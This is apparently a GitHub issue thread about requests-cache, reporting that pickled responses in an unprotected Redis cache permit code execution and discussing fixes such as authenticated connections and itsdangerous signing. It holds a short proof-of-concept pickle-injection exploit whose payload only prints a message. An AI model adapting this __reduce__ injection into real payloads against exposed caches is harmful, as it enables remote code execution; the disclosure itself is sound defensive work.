Use itsdangerous for safer serialization

[Varbin]

If an attacker could gain write access to a redis cache, he could easily execute code when the cache is accessed.

Pickle will happily execute arbitrary code on unpickling specially crafted serialized data.

Proof of concept:

import requests
import requests_cache

requests_cache.install_cache(cache_name='cache',backend='redis')
requests_cache.clear()

print("Filling cache.")
response = requests.get("https://example.org")


### attacker's part

print('Attacker: "Planting" exploit')
from redis import StrictRedis as Redis
from requests_cache.backends.storage.redisdict import RedisDict

rd = Redis()

class Exploit:
    def __reduce__(self):
        return (print, ("I won.",))

import pickle

exploit = pickle.dumps(Exploit(), protocol=0)

for key in rd.hgetall("cache:responses").keys():
    rd.hset("cache:responses", key, exploit)

print('Attacker: finished')

### end of attacker's part


print("Accessing cache")
response = requests.get("https://example.org")

Of course the same applies for all other storages (except in-memory) but Redis servers are usually not protected (and requests-cache does not allow usage with passwords).

A fix would be to move away from pickle (but this would be hard) or force the data to be signed before saving (and checked before loading) - or it least make signatures possible (enforcing would break compatibility).

Yours sincerely,
Simon Biewald

[Varbin]

Workaround: Use the in-memory-cache or proper file system permissions with sqlite.

[JWCook]

@Varbin One ease solution for this (to start with, at least) would be to make it easier to connect to an authenticated Redis server. You can currently do this using the connection parameter:

from redis import StrictRedis
from requests_cache import CachedSession

connection = StrictRedis(username='*****', password='*****')
session = CachedSession(backend='redis', connection=connection)

But that could maybe be made simpler by adding top-level username and password parameters to CachedSession. What do you think?

I'm also open to alternative serialization methods to replace pickle, if someone wants to submit a PR for it.

[Varbin]

@JWCook
Good idea.

As an alternative serializer I would suggest to use itsdangerous - written by Pallets (Flask) to do exactly that. It uses pickle in the end, but uses a MAC to authenticate the data, so manipulation can be detected before deserialization.
Its another dependency, but it has been "battletested" in Flask.

A future signature may look like:

key = b'123...'

session = CachedSession(..., key=key)

To make migration to the new scheme easier, I suggest falling back to the current behaviour (with a warning).

Usage of itsdangerous is as following (using pickle in the end, as the default json serializer might not serialize everything):

import itsdangerous

serializer = itsdangerous.serializer.Serializer(key, b"requests-cache", serializer=pickle)
# serializer.loads(...)
# serializer.dumps(...)

Unfortunately I currently do not have time for submitting a PR for now.

[JWCook]

I like that idea! Thanks for the suggestion.

I'd like to get this into the next release one way or another. If nobody else gets to it before me, I can make a PR for this.